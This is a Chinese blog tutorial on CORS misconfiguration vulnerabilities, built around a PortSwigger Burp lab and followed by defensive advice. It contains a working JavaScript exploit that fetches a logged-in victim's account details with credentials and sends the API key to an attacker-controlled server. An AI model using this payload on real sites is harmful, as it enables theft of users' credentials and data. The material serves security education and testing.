常见的Web漏洞——CORS

渗透做了多年的朋友都知道,大洞小洞都是漏洞。因此也学习、沉淀一下以前没重视的漏洞。

简介

CORSCross-Origin Resource Sharing跨源资源共享)是一种由Web浏览器实现的安全策略,用于控制一个Web页面(服务端)是否能够访问来自不同源(域名、协议或端口)的资源。这是为了防止恶意网站通过 AJAX 请求访问另一个网站的敏感数据。

CORS漏洞是指服务器在处理跨源HTTP请求时未能正确实施安全策略,导致敏感数据或功能被未经授权的第三方访问。这种漏洞通常发生在Web应用中,它允许攻击者绕过浏览器的同源策略,从而访问或操作另一个域的资源。

跨域访问的一些场景:

  1. 单页面应用(SPA)与后端API
    场景:现代Web应用经常采用单页面应用架构,前端JavaScript框架(如React、Angular、Vue.js)与后端API(可能部署在不同的域名上)需要进行通信。
    CORS作用:允许前端应用从浏览器安全地发起跨域请求到后端API,并接收响应。
  2. 第三方服务集成
    场景:Web应用可能需要集成第三方服务(如地图服务、社交媒体登录、支付网关等)。
    CORS作用:确保第三方服务的API可以安全地从Web应用的域被访问。
  3. 内容分发网络(CDN)
    场景:为了提高加载速度和全球访问性,静态资源(如JavaScript库、CSS文件、图片等)可能被部署在CDN上。
    CORS作用:允许Web应用从CDN跨域加载静态资源。
  4. Web组件和Web部件
    场景:开发者可能在不同的域上创建和使用可重用的Web组件。
    CORS作用:确保这些组件可以跨域访问和集成。
  5. 跨域字体加载
    场景:Web设计师可能需要从不同的源加载自定义字体。
    CORS作用:允许浏览器跨域加载字体文件,如Google Fonts。
  6. 跨域图像和媒体
    场景:Web应用可能需要展示存储在其他域上的图像、视频或其他媒体内容。
    CORS作用:允许这些媒体资源被安全地跨域访问和展示。
  7. 开放API和微服务架构
    场景:在微服务架构中,不同的服务组件可能部署在不同的域上,需要相互通信。
    CORS作用:在这种分布式系统中,CORS确保服务间的安全通信。
  8. 前后端分离开发
    场景:在前后端分离的开发模式中,前端和后端可能由不同的团队独立开发和部署。
    CORS作用:允许前端应用跨域请求后端服务,实现前后端的协同工作。
  9. 跨域测试和调试
    场景:开发者在开发和测试阶段可能需要从不同的源访问API或资源。
    CORS作用:简化开发和测试过程,允许从不同的源发起请求。
  10. 跨域Webhooks
    场景:服务间可能使用Webhooks进行实时通信,一个服务需要向另一个服务的端点发送请求。
    CORS作用:确保Webhooks可以跨域触发和接收。

CORS漏洞的成因

CORS是一种策略,因此产生漏洞的原因是配置不当。即服务器允许任何网站都能访问资源:Access-Control-Allow-Origin: *

CORS漏洞的影响

  • 数据泄露:攻击者可能访问到其他域的敏感数据。
  • 数据篡改:攻击者可能修改或破坏其他域的数据。
  • 跨站请求伪造(CSRF):CORS漏洞可能被用来绕过某些CSRF保护措施。
  • 点击劫持:攻击者可能利用CORS漏洞来实施点击劫持攻击。

漏洞检测

使用Burp提供的lab检测,登录之后访问/accountDetails,添加Origin: https://test,返回如图:
在这里插入图片描述
没有对来源进行校验,因此存在漏洞,利用Burp提供的exploit-server(和公网服务器作用相同)编写钓鱼代码(主要看思路):

<script>
// 创建一个新的XMLHttpRequest对象
var req = new XMLHttpRequest();
// 定义请求成功完成时的事件处理函数
req.onload = reqListener;
// 异步GET请求获取API
req.open('GET', 'https://0a760050042874d381bf996c00660044.web-security-academy.net/accountDetails', true);
// 设置withCredentials属性为true,允许请求携带cookies
req.withCredentials = true;
req.send()
function reqListener(){
  // 将获取的响应数据提交到/a
  location = '/a?key='+ this.responseText;
}
</script>

点击Store模拟生成调与链接,点击Deliver exploit to victim模拟用户访问钓鱼链接:
在这里插入图片描述
点击Access log查看访问日志可以获取受害者API凭据:
在这里插入图片描述
解码之后如图:
在这里插入图片描述
现在基本清楚漏洞原理、检测和利用方法了,其它lab无非就是对策略不严格的一些绕过,感兴趣可查看参考资料。

防御措施

  • 限制Access-Control-Allow-Origin:不要使用通配符*,而是明确指定允许访问的源。
  • 正确处理凭证:如果需要支持凭证,确保Access-Control-Allow-Credentials设置为true,并且Access-Control-Allow-Origin不使用通配符。
  • 限制HTTP方法和头信息:仅允许必要的HTTP方法和自定义头信息。
  • 正确响应预检请求:确保服务器正确处理OPTIONS请求,并返回正确的CORS头信息。
  • 使用安全的Cookie属性:为Cookies设置Secure、HttpOnly和SameSite属性。
  • 监控和日志记录:监控CORS相关的服务器配置和日志,以便发现和响应潜在的CORS漏洞。
  • 定期安全审计:定期进行代码审查和安全审计,以识别和修复CORS漏洞。

参考资料

PostSwigger CORS
利用 CORS 错误配置获取比特币和赏金
burp靶场–跨域资源共享(CORS)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/681907.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

vs2019 c++20 规范的头文件 <future> 源码注释和几个结论

&#xff08;1 探讨一&#xff09;在多线程中&#xff0c;需要线程返回值的可以用该头文件中的类。该头文件中模板类和模板函数定义很多&#xff0c;用一幅图给出模板类之间的关系&#xff0c;方便从整体上把握和记忆&#xff1a; &#xff08;2&#xff09;

618数码好物推荐!精选便宜又实用的数码产品推荐!

着618购物盛宴的脚步日益临近&#xff0c;你是否已经锁定了心仪的宝贝&#xff1f;那些曾让你心动不已的数码产品&#xff0c;现在正是以最低价收入囊中的绝佳时机。618不仅是一场购物狂欢&#xff0c;更是各大电商平台竞相推出优惠政策的盛宴。为了满足大家的需求&#xff0c;…

右键Open with VSCode打开Vue3项目

之前看到一些同事能够对项目根目录进行右键打开项目到 Microsoft VS Code &#xff0c;当时觉得挺不错的&#xff0c;于是乎今天自己折腾了一遍。 目录 1、创建vue3项目 2、更改注册表 # 打开注册表编辑器&#xff08;Registry Editor&#xff09; # 导航到以下注册表路径 …

宜选影票api接口如何申请密钥和授权呢?

宜选影票API接口的密钥申请和授权过程一般包括以下步骤&#xff0c;以下将按照清晰的格式分点表示和归纳相关信息&#xff1a; 注册开发者账号&#xff1a; 前往宜选影票的官方网站或开发者平台。注册一个开发者账号&#xff0c;填写必要的个人信息和联系方式。申请API访问权限…

使用apifox进行并发测试

1.普通的接口测试就不说了&#xff0c;非常简单 2.自动化测试

<网络安全>《88 国内主要企业网络安全公司概览(四)》

9 杭州迪普科技股份有限公司&#xff08;简称联软科技&#xff09; 信息内容LOGO成立日期创始于2008年总部浙江省杭州市滨江区月明路595号迪普科技18楼背景民营企业是否上市300768注册资本64,382.9039万主要产品网络安全数据安全交换机简介安全大数据处理引擎与AI智能分析引擎…

webgl_decals

ThreeJS 官方案例学习&#xff08;webgl_decals&#xff09; 1.效果图 2.源码 <template><div><div id"container"></div></div> </template> <script> // 光线投射相关代码 https://threejs.org/docs/index.html#api/z…

电路方案分析(十九)快速响应过流事件检测电路

快速响应过流事件检测电路 1.设计需求2.设计方案3.设计说明4.仿真验证 tips&#xff1a;方案参考来自TI参考设计&#xff0c;仅供学习交流使用。 1.设计需求 2.设计方案 这是一种快速响应单向电流检测解决方案&#xff0c;通常称为过流保护 (OCP)&#xff0c;可提供 < 2μ…

安徽某高校数据挖掘作业6

1 根据附件中year文件&#xff0c;编辑Python程序绘制年销售总额分布条形图和年净利润分布条形图&#xff0c;附Python程序和图像。 2 根据附件中quarter和quarter_b文件&#xff0c;编辑Python程序绘制2018—2020年销售额和净利润折线图&#xff0c;附Python程序和图像。 3 …

全志D1s软件入门之Tina Linux烧写教程

烧写 Tina Linux 烧写&#xff0c;即将编译打包好的固件下载到设备 烧写方式简介 全志平台为开发者提供了多种多样的烧写方式和烧写工具&#xff1a; &#xff08;1&#xff09; PhoenixSuit&#xff1a;基于Windows的系统的烧写工具&#xff0c;是最常用的烧写工具&#x…

【AI大模型】Transformers大模型库(一):Tokenizer

目录 一、引言 二、Tokenizer 2.1 概述 2.2 主要功能 2.3 代码示例 三、总结 一、引言 这里的Transformers指的是huggingface开发的大模型库&#xff0c;为huggingface上数以万计的预训练大模型提供预测、训练等服务。 &#x1f917; Transformers 提供了数以千计的预训…

AI绘画入门指南!一遍就会!AI绘画Stable Diffusion新手入门教程

我们尝试了一段时间Midjourney&#xff0c;发现其对图片的可控性较弱。于是研究起了Stable Diffusion。 SD的主要优势在于开源&#xff0c;因为开源会有很多无私的大佬分享自己的模型、插件及脚本等&#xff0c;让SD有了更丰富的扩展。在画面统一性和更像本人方面要比MJ容易实…

104.网络游戏逆向分析与漏洞攻防-装备系统数据分析-筛选与装备有关的数据包

免责声明&#xff1a;内容仅供学习参考&#xff0c;请合法利用知识&#xff0c;禁止进行违法犯罪活动&#xff01; 如果看不懂、不知道现在做的什么&#xff0c;那就跟着做完看效果&#xff0c;代码看不懂是正常的&#xff0c;只要会抄就行&#xff0c;抄着抄着就能懂了 内容…

学生成绩管理系统(大一大作业)

功能 实现添加&#xff0c;排序&#xff0c;修改&#xff0c;保存等功能 库函数 #include<stdio.h> #include<stdlib.h> #include<windows.h> #include<string.h> 头文件 #define functioncreate(major) void major##compare(mana mn){\int i,j,s…

必应bing国内广告怎样开户投放呢?

企业都在寻找高效、精准的营销渠道以扩大品牌影响力&#xff0c;提升市场占有率&#xff0c;作为全球第二大搜索引擎&#xff0c;微软旗下的必应Bing凭借其卓越的搜索技术和庞大的用户基础&#xff0c;成为了众多企业拓展市场的首选广告平台。在中国&#xff0c;必应Bing广告以…

ESP32S3——多线程

一、环境&#xff1a; 平台&#xff1a;arduino IDE 或 VS Code PlatformIO 皆可。 我的是后者&#xff0c;具体为&#xff1a; 框架&#xff1a;VS PlatformIO Arduino 二、硬件准备&#xff1a; 一个esp32s3 本文用到的是U0RXD&#xff08;GPIO44 &#xff09;与U0TXD…

运动会信息管理系统(Springboot+MySQL)

本课题旨在实现对运动会信息的全面管理&#xff0c;提供用户友好的界面和高效的操作体验。系统的基础功能包括运动员报名比赛、比赛成绩查询、资讯留言等。为了确保系统的高扩展性和稳定性&#xff0c;选用主流的开发技术&#xff0c;实现规范的项目结构和高效的性能。 技术选型…

RAR文件忘记密码怎么办?解密方法大盘点

随着信息技术的飞速发展&#xff0c;数据的安全性和保密性越来越受到重视。RAR作为一种常用的压缩文件格式&#xff0c;因其压缩效率高、支持文件加密等特点而广受欢迎。然而&#xff0c;当我们忘记了RAR压缩包的密码&#xff0c;或者需要解密他人分享的加密RAR文件时&#xff…

如何统一集成全域数据?三个点讲清楚多源异构数据融合

关于多源异构数据的融合问题&#xff0c;主要涉及以下三个关键点&#xff1a; 1、多源异构数据融合的必要性 2、多源异构数据融合的挑战 3、多源异构数据融合的解决方案 首先&#xff0c;我们来说多源异构数据融合的必要性。 随着以大数据为代表的信息技术快速发展&#xf…

HTTP相关面试题

1. HTPP基本概念 HTTP是超文本传输协议。本质上就是一个可以传输图片、视频、文字的计算机与计算机之间的协议 1.1. HTTP常见的状态码 2XX状态码: 主要用于表示已经服务器已经成功的处理了请求 [200 ok ]: 是最常见的状态码,表示我们请求成功且响应内容(响应头body)已经收到…